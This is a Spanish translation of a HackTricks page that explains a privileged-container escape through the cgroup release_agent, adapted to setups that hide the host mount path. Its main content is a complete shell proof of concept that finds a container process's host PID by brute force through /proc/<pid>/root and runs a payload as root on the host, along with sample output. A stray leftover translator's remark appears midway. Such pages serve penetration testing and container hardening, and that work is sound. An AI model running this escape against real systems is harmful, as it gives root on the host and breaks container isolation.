# Introducción Los PoC anteriores funcionan bien cuando el contenedor está configurado con un controlador de almacenamiento que expone la **ruta completa del punto de montaje del sistema de archivos del host**, por ejemplo `overlayfs`, sin embargo, hay configuraciones que **no revelan claramente el punto de montaje del sistema de archivos del host**. En este PoC, en lugar de usar la ruta donde se encuentra el contenedor dentro del sistema de archivos del host, vamos a descubrir un PID de contenedor dentro del host. ## Ejemplos de contenedores que no exponen la ubicación de la ruta dentro del host ### Kata Containers ``` root@container:~$ head -1 /etc/mtab kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio) ``` Por defecto, [Kata Containers](https://katacontainers.io) monta el sistema de archivos raíz de un contenedor sobre `9pfs`. Esto no revela información sobre la ubicación del sistema de archivos del contenedor en la Máquina Virtual de Kata Containers. ### Device Mapper ``` root@container:~$ head -1 /etc/mtab /dev/sdc / ext4 rw,relatime,stripe=384 0 0 ``` Vi un contenedor con este montaje raíz en un entorno en vivo, creo que el contenedor se estaba ejecutando con una configuración específica del controlador de almacenamiento `devicemapper`, pero hasta ahora no he podido replicar este comportamiento en un entorno de prueba. # PoC La única información clave requerida es la **ruta completa, relativa al host del contenedor, de un archivo para ejecutar dentro del contenedor**. Sin poder discernir esto desde los puntos de montaje dentro del contenedor, debemos buscar en otro lugar. ## /proc/\/root El pseudo-sistema de archivos `/proc` de Linux expone las estructuras de datos del proceso del kernel para todos los procesos que se ejecutan en un sistema, incluidos aquellos que se ejecutan en diferentes espacios de nombres, por ejemplo, dentro de un contenedor. Esto se puede mostrar ejecutando un comando en un contenedor y accediendo al directorio `/proc` del proceso en el host: contenedor. ```bash root@container:~$ sleep 100 ``` ```bash root@host:~$ ps -eaf | grep sleep root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100 root@host:~$ ls -la /proc/`pidof sleep` total 0 dr-xr-xr-x 9 root root 0 Nov 19 10:03 . dr-xr-xr-x 430 root root 0 Nov 9 15:41 .. dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr -rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup -r-------- 1 root root 0 Nov 19 10:04 auxv -r--r--r-- 1 root root 0 Nov 19 10:03 cgroup --w------- 1 root root 0 Nov 19 10:04 clear_refs -r--r--r-- 1 root root 0 Nov 19 10:04 cmdline ... -rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> / -rw-r--r-- 1 root root 0 Nov 19 10:29 sched ... ``` Como un comentario aparte, la estructura de datos `/proc//root` es una que me confundió por mucho tiempo, nunca pude entender por qué tener un enlace simbólico a `/` era útil, hasta que leí la definición real en las páginas del manual: > /proc/\[pid]/root > > UNIX y Linux soportan la idea de un root del sistema de archivos por proceso, establecido por la llamada al sistema chroot(2). Este archivo es un enlace simbólico que apunta al directorio raíz del proceso, y se comporta de la misma manera que exe y fd/\*. > > Sin embargo, tenga en cuenta que este archivo no es simplemente un enlace simbólico. Proporciona la misma vista del sistema de archivos (incluyendo los espacios de nombres y el conjunto de montajes por proceso) que el propio proceso. El enlace simbólico **`/proc//root` se puede utilizar como una ruta relativa del host a cualquier archivo dentro de un contenedor**: ```bash root@container:~$ echo findme > /findme root@container:~$ sleep 100 ``` ```bash root@host:~$ cat /proc/`pidof sleep`/root/findme findme ``` {% hint style="warning" %} **Esto cambia el requisito para el ataque de conocer la ruta completa, relativa al host del contenedor, de un archivo dentro del contenedor, a conocer el pid de cualquier proceso que se ejecute en el contenedor.** {% endhint %} ## Búsqueda de Pid Esto es en realidad la parte fácil, los ids de proceso en Linux son numéricos y asignados secuencialmente. El proceso `init` se le asigna el pid `1` y todos los procesos posteriores se les asignan ids incrementales. Para identificar el **pid del proceso host de un proceso dentro de un contenedor, se puede utilizar una búsqueda incremental de fuerza bruta**: ``` root@container:~$ echo findme > /findme root@container:~$ sleep 100 ``` No se debe traducir el término "Host" ya que es un término técnico que se utiliza en español tal cual. ```bash root@host:~$ COUNTER=1 root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done root@host:~$ echo ${COUNTER} 7822 root@host:~$ cat /proc/${COUNTER}/root/findme findme ``` ## Poniéndolo Todo Junto Para completar este ataque, se puede utilizar la técnica de fuerza bruta para **adivinar el PID para la ruta `/proc//root/payload.sh`**, con **cada iteración** escribiendo la ruta de PID adivinada **en el archivo `release_agent` de los cgroups, activando el `release_agent`**, y viendo si se crea un archivo de salida. La única advertencia con esta técnica es que no es sutil de ninguna manera, y puede aumentar mucho el recuento de PID. Como no se mantienen procesos de larga duración en ejecución, esto _no debería_ causar problemas de confiabilidad, pero no me cites en eso. El siguiente PoC implementa estas técnicas para proporcionar un ataque más genérico que el presentado por primera vez en el PoC original de Felix para escapar de un contenedor privilegiado utilizando la funcionalidad del archivo `release_agent` de los **cgroups**: ```bash #!/bin/sh OUTPUT_DIR="/" MAX_PID=65535 CGROUP_NAME="xyx" CGROUP_MOUNT="/tmp/cgrp" PAYLOAD_NAME="${CGROUP_NAME}_payload.sh" PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}" OUTPUT_NAME="${CGROUP_NAME}_payload.out" OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}" # Run a process for which we can search for (not needed in reality, but nice to have) sleep 10000 & # Prepare the payload script to execute on the host cat > ${PAYLOAD_PATH} << __EOF__ #!/bin/sh OUTPATH=\$(dirname \$0)/${OUTPUT_NAME} # Commands to run on the host< ps -eaf > \${OUTPATH} 2>&1 __EOF__ # Make the payload script executable chmod a+x ${PAYLOAD_PATH} # Set up the cgroup mount using the memory resource cgroup controller mkdir ${CGROUP_MOUNT} mount -t cgroup -o memory cgroup ${CGROUP_MOUNT} mkdir ${CGROUP_MOUNT}/${CGROUP_NAME} echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release # Brute force the host pid until the output path is created, or we run out of guesses TPID=1 while [ ! -f ${OUTPUT_PATH} ] do if [ $((${TPID} % 100)) -eq 0 ] then echo "Checking pid ${TPID}" if [ ${TPID} -gt ${MAX_PID} ] then echo "Exiting at ${MAX_PID} :-(" exit 1 fi fi # Set the release_agent path to the guessed pid echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent # Trigger execution of the release_agent sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" TPID=$((${TPID} + 1)) done # Wait for and cat the output sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` Ejecutar el PoC dentro de un contenedor privilegiado debería proporcionar una salida similar a: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 Checking pid 200 Checking pid 300 Checking pid 400 Checking pid 500 Checking pid 600 Checking pid 700 Checking pid 800 Checking pid 900 Checking pid 1000 Checking pid 1100 Checking pid 1200 Done! Output: UID PID PPID C STIME TTY TIME CMD root 1 0 0 11:25 ? 00:00:01 /sbin/init root 2 0 0 11:25 ? 00:00:00 [kthreadd] root 3 2 0 11:25 ? 00:00:00 [rcu_gp] root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp] root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events] root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd] root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` # Referencias * [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! - Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) - **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.